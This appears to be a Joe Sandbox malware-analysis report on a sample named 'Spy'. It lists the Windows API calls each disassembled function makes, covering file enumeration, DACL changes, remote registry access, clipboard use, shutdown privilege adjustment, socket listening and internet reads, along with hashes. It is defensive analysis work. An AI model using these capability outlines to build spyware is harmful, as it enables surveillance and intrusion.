Opcode Fuzzy Hash: c62216011ed2ed2a8bb6de0fd3c40cf993b91a33ddfeebd1db1b44f83b4abdcc
Instruction Fuzzy Hash: 4B028F752046029FCB14EF29C981E2ABBE5FF89714F04895DF85A9B3A1DB30EC41CB91

Function 00AEF735 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00AEF756
_wcscmp.LIBCMT ref: 00AEF76B
_wcscmp.LIBCMT ref: 00AEF782

Part of subcall function 00AE4875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00AE4890

FindNextFileW.KERNEL32(00000000,?), ref: 00AEF7B1
FindClose.KERNEL32(00000000), ref: 00AEF7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 00AEF7D8
_wcscmp.LIBCMT ref: 00AEF7FF
_wcscmp.LIBCMT ref: 00AEF816
SetCurrentDirectoryW.KERNEL32(?), ref: 00AEF828
SetCurrentDirectoryW.KERNEL32(00B3B578), ref: 00AEF846
FindNextFileW.KERNEL32(00000000,00000010), ref: 00AEF850
FindClose.KERNEL32(00000000), ref: 00AEF85D
FindClose.KERNEL32(00000000), ref: 00AEF86F

Strings

*.*, xrefs: 00AEF7D3

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 938830d2de86aa94d26c41d3358c0904bc163287b0ce217d438118f98a4fcc12
Instruction ID: 1d1e2cd1fdc405e9680cf9be35be3d0411c235c3c9c078cbb28b14674084f31b
Opcode Fuzzy Hash: 938830d2de86aa94d26c41d3358c0904bc163287b0ce217d438118f98a4fcc12
Instruction Fuzzy Hash: 0531927250025AAEDB10AFB6DC59AEE77ACDF09321F1041A5F904A31A0DB70DE858A60

Function 00AD88CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00AD8E3C
Part of subcall function 00AD8E20: GetLastError.KERNEL32(?,00AD8900,?,?,?), ref: 00AD8E46
Part of subcall function 00AD8E20: GetProcessHeap.KERNEL32(00000008,?,?,00AD8900,?,?,?), ref: 00AD8E55
Part of subcall function 00AD8E20: HeapAlloc.KERNEL32(00000000,?,00AD8900,?,?,?), ref: 00AD8E5C
Part of subcall function 00AD8E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00AD8E73

Part of subcall function 00AD8EBD: GetProcessHeap.KERNEL32(00000008,00AD8916,00000000,00000000,?,00AD8916,?), ref: 00AD8EC9
Part of subcall function 00AD8EBD: HeapAlloc.KERNEL32(00000000,?,00AD8916,?), ref: 00AD8ED0
Part of subcall function 00AD8EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00AD8916,?), ref: 00AD8EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00AD8931
_memset.LIBCMT ref: 00AD8946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00AD8965
GetLengthSid.ADVAPI32(?), ref: 00AD8976
GetAce.ADVAPI32(?,00000000,?), ref: 00AD89B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00AD89CF
GetLengthSid.ADVAPI32(?), ref: 00AD89EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00AD89FB
HeapAlloc.KERNEL32(00000000), ref: 00AD8A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00AD8A23
CopySid.ADVAPI32(00000000), ref: 00AD8A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00AD8A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00AD8A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00AD8A95

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 49c0694cd70fc63c43d7ae606d0a1bd1e05cf2b171b70c62e14e70b4723fb4cb
Instruction ID: 2372a81eda0b28e439d7e74801b2922c0008dea72dbe742bff2e16c150dfe883
Opcode Fuzzy Hash: 49c0694cd70fc63c43d7ae606d0a1bd1e05cf2b171b70c62e14e70b4723fb4cb
Instruction Fuzzy Hash: 82612875910209BFDF00DFA5DC45AEEBB79FF04300F04812AF956A72A0DB799A55CB60

Function 00B00A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B0040D,?,?), ref: 00B01491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B00B0C

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B00BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00B00C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00B00E82
RegCloseKey.ADVAPI32(00000000), ref: 00B00E8F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 1621f4b68b71e2e97c23282b8934bcfc51397d032e194e36ceeb674822a9db70
Instruction ID: 7e7a856659c8892f4cba781e5e0f6aada2f414666fe5f16b8cd0a4e066d67e81
Opcode Fuzzy Hash: 1621f4b68b71e2e97c23282b8934bcfc51397d032e194e36ceeb674822a9db70
Instruction Fuzzy Hash: 8BE17F31614205AFCB14EF28C995E6ABBE5FF89714F0489ADF44ADB2A1DB30ED01CB51

Function 00AE443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00AE4451
__swprintf.LIBCMT ref: 00AE445E

Part of subcall function 00AA38C8: __woutput_l.LIBCMT ref: 00AA3921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00AE4488
LoadResource.KERNEL32(?,00000000), ref: 00AE4494
LockResource.KERNEL32(00000000), ref: 00AE44A1
FindResourceW.KERNEL32(?,?,00000003), ref: 00AE44C1
LoadResource.KERNEL32(?,00000000), ref: 00AE44D3
SizeofResource.KERNEL32(?,00000000), ref: 00AE44E2
LockResource.KERNEL32(?), ref: 00AE44EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00AE454F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: a24556327d73be4477278b4193869d4fbe4d96dc7ae94caf3ec69ed5a12f768e
Instruction ID: 761d1cc266ef443a0f8968b0df8572d94229c193405c197b5a60da1e31650683
Opcode Fuzzy Hash: a24556327d73be4477278b4193869d4fbe4d96dc7ae94caf3ec69ed5a12f768e
Instruction Fuzzy Hash: F1318E7160125AABDB11AF61ED48ABF7BACFB09301F408425F912D7150DB74DE50CAB0

Function 00AF4830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00AF4857
EmptyClipboard.USER32 ref: 00AF485D
GlobalAlloc.KERNEL32(00000002,?), ref: 00AF4872
CloseClipboard.USER32 ref: 00AF4911

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 9ce11b021aed973167225765d66e3c187d4791bb403ab847335e2a05e9c45345
Instruction ID: 9a2f9202f1e4fd1cc3b6bc1d1b5b30341c34903aaceb58f99cbb3ac6f7ea3817
Opcode Fuzzy Hash: 9ce11b021aed973167225765d66e3c187d4791bb403ab847335e2a05e9c45345
Instruction Fuzzy Hash: 0E21A1312052159FDB01BF64ED49B6E77A8EF88721F008019FA069B2A1DFB0AD50CB94

Function 00AEFA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00AEFA83
FindClose.KERNEL32(00000000), ref: 00AEFB96

Part of subcall function 00A852B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A852E6

Sleep.KERNEL32(0000000A), ref: 00AEFAB3
_wcscmp.LIBCMT ref: 00AEFAC7
_wcscmp.LIBCMT ref: 00AEFAE2
FindNextFileW.KERNEL32(?,?), ref: 00AEFB80

Strings

*.*, xrefs: 00AEFA68

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 404026fd22709555525fd043264d74c6c1dc47464f628504031e88d13b674193
Instruction ID: 551ae5fe0c37e6d61b01301717388f15272f09623a767e4e8430fa692ee6025e
Opcode Fuzzy Hash: 404026fd22709555525fd043264d74c6c1dc47464f628504031e88d13b674193
Instruction Fuzzy Hash: 0341817194025AAFCF14DF65CD59AEEBBB8FF05350F548166F814A32A1EB309E84CB90

Function 00AE5778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD9399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00AD93E3
Part of subcall function 00AD9399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00AD9410
Part of subcall function 00AD9399: GetLastError.KERNEL32 ref: 00AD941D

ExitWindowsEx.USER32(?,00000000), ref: 00AE57B4

Strings

, xrefs: 00AE57A2
SeShutdownPrivilege, xrefs: 00AE5784
@, xrefs: 00AE57A7

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: e721262ad05997935b8691677d104cd68df0dd9c3aa12ff0c8e4f795375d2182
Instruction ID: e3152a27dd9a5abf8797c7b2302ad7412285eed8a2e443c51ae6b479b77e3375
Opcode Fuzzy Hash: e721262ad05997935b8691677d104cd68df0dd9c3aa12ff0c8e4f795375d2182
Instruction Fuzzy Hash: BF01F731E50756EAE7286377BC8ABBB7268AB05748F24082AF953D70D2DE505C608150

Function 00AF696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00AF69C7
WSAGetLastError.WSOCK32(00000000), ref: 00AF69D6
bind.WSOCK32(00000000,?,00000010), ref: 00AF69F2
listen.WSOCK32(00000000,00000005), ref: 00AF6A01
WSAGetLastError.WSOCK32(00000000), ref: 00AF6A1B
closesocket.WSOCK32(00000000,00000000), ref: 00AF6A2F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: c3e5313ecd021c791df899781dedd168576626e5260461eac3cfe54dc5697ca1
Instruction ID: 11ff48fb67b9397f4254dacc3b628392fa9af721353e0d11add09defde0549cf
Opcode Fuzzy Hash: c3e5313ecd021c791df899781dedd168576626e5260461eac3cfe54dc5697ca1
Instruction Fuzzy Hash: B8219E306006059FCB10FFA8C989A7EB7B9EF48724F148659F956A73E1DB70AC41CB91

Function 00A81663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00A81DD6
GetSysColor.USER32(0000000F), ref: 00A81E2A
SetBkColor.GDI32(?,00000000), ref: 00A81E3D

Part of subcall function 00A8166C: DefDlgProcW.USER32(?,00000020,?), ref: 00A816B4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 22b794f2e1eefbe508c1aa68618d2d0775d66d84d1597adc1d6fd11e355b86f9
Instruction ID: 9a6ca7a4f13cab923abbe56785d79b75f8f97104a88b6e336fca80e322c46f42
Opcode Fuzzy Hash: 22b794f2e1eefbe508c1aa68618d2d0775d66d84d1597adc1d6fd11e355b86f9
Instruction Fuzzy Hash: ACA123B4125404BBE628BBA98C49FBF3EADEB46341F24460AF402D61D2DF659D03D376

Function 00AEC2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00AEC329
_wcscmp.LIBCMT ref: 00AEC359
_wcscmp.LIBCMT ref: 00AEC36E
FindNextFileW.KERNEL32(00000000,?), ref: 00AEC37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00AEC3AF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 4dd4294185aef1178520a1d78cf7b948de02779ec452810da133fb8c9847423d
Instruction ID: b3b13407ad4320c9cd50a7ad8277f858afd22e43ae8001c2875ecf6b146b41a9
Opcode Fuzzy Hash: 4dd4294185aef1178520a1d78cf7b948de02779ec452810da133fb8c9847423d
Instruction Fuzzy Hash: E8519A756046029FC714EF69C591EAAB3E8FF49320F10861DF95A8B3A1DB30ED05CB91

Function 00AF6E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF8475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00AF84A0

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00AF6E89
WSAGetLastError.WSOCK32(00000000), ref: 00AF6EB2
bind.WSOCK32(00000000,?,00000010), ref: 00AF6EEB
WSAGetLastError.WSOCK32(00000000), ref: 00AF6EF8
closesocket.WSOCK32(00000000,00000000), ref: 00AF6F0C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 3ca34e94f80d7f34fe6edfd3b67a20549c813f4ef1832b25cbc49a9bdad41e35
Instruction ID: e830fbe02662b6b2b9a80afc3f8fa3223b542ebce2ecd5dbe5ff19fd629fb052
Opcode Fuzzy Hash: 3ca34e94f80d7f34fe6edfd3b67a20549c813f4ef1832b25cbc49a9bdad41e35
Instruction Fuzzy Hash: 1541D375600215AFDB10BFA4DD86F7E77A8DF48724F048558FA16AB3D2EA709D008BA1

Function 00B059B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00B05A02
IsWindowEnabled.USER32 ref: 00B05A10
GetForegroundWindow.USER32(?,?,00000001), ref: 00B05A1D
IsIconic.USER32 ref: 00B05A2B
IsZoomed.USER32 ref: 00B05A39

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: f87efcbf1854d9092afee6e66a56b51b5d5da2629fe22c7af7e85a8605a741b5
Instruction ID: 648c980480628243c1c74e95b4b22b551074198d8838a542c2ad2fc64abfcc3f
Opcode Fuzzy Hash: f87efcbf1854d9092afee6e66a56b51b5d5da2629fe22c7af7e85a8605a741b5
Instruction Fuzzy Hash: 9211BF723009169FE7316F669C84A6FBFD9EF84760B408169F806D7281DE70E9018FA0

Function 00AC0030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00AC0034
__swprintf.LIBCMT ref: 00AC0065

Strings

WIN_XPe, xrefs: 00AC00A4
%.3d, xrefs: 00AC003F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 58195f4a9a955d512fee980145a1952f07ad3a90ee8acb3d9fb8572004b7a96f
Instruction ID: 0c3c5d500a8aa21809c3c10268df8bc70a4bf1efe744399c04f966048f737b61
Opcode Fuzzy Hash: 58195f4a9a955d512fee980145a1952f07ad3a90ee8acb3d9fb8572004b7a96f
Instruction Fuzzy Hash: D5D05B72818108EACB049B90CD44FFE73BCEB48300F224056F506E3050D7358788DB26

Function 00AF29BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00AF1ED6,00000000), ref: 00AF2AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00AF2AE4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 52a7261ce736c2ca5e4e996a8c777dcdc12075a57b3183e35a8f41671b7a4b84
Instruction ID: 2d77bf6af507bd5f15edd981927e3d6e4c8fc260e8e3aff7cce4360252b126ea
Opcode Fuzzy Hash: 52a7261ce736c2ca5e4e996a8c777dcdc12075a57b3183e35a8f41671b7a4b84
Instruction Fuzzy Hash: 5A415D7160460DBFEB20EE94CD85FBAB7BCEB407A4F10406AFB45A7181EA719E419760

Function 00AD9399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00AA0FE6: std::exception::exception.LIBCMT ref: 00AA101C
Part of subcall function 00AA0FE6: __CxxThrowException@8.LIBCMT ref: 00AA1031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00AD93E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00AD9410
GetLastError.KERNEL32 ref: 00AD941D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 9033a8a8a9177dde301a3e63cdaccc39d3f5310207731022dffe62c75fff6693
Instruction ID: b6dbbb3b87c711b247d60fbbef0188099940ff6c8031d8104758649f6ce96585
Opcode Fuzzy Hash: 9033a8a8a9177dde301a3e63cdaccc39d3f5310207731022dffe62c75fff6693
Instruction Fuzzy Hash: 16118FB1414209AFD728EF54DD85D6BB7BCEB48710B20852EF45A97281EB70EC41CB64

Function 00AE42D5 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00AE42FF
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 00AE433C
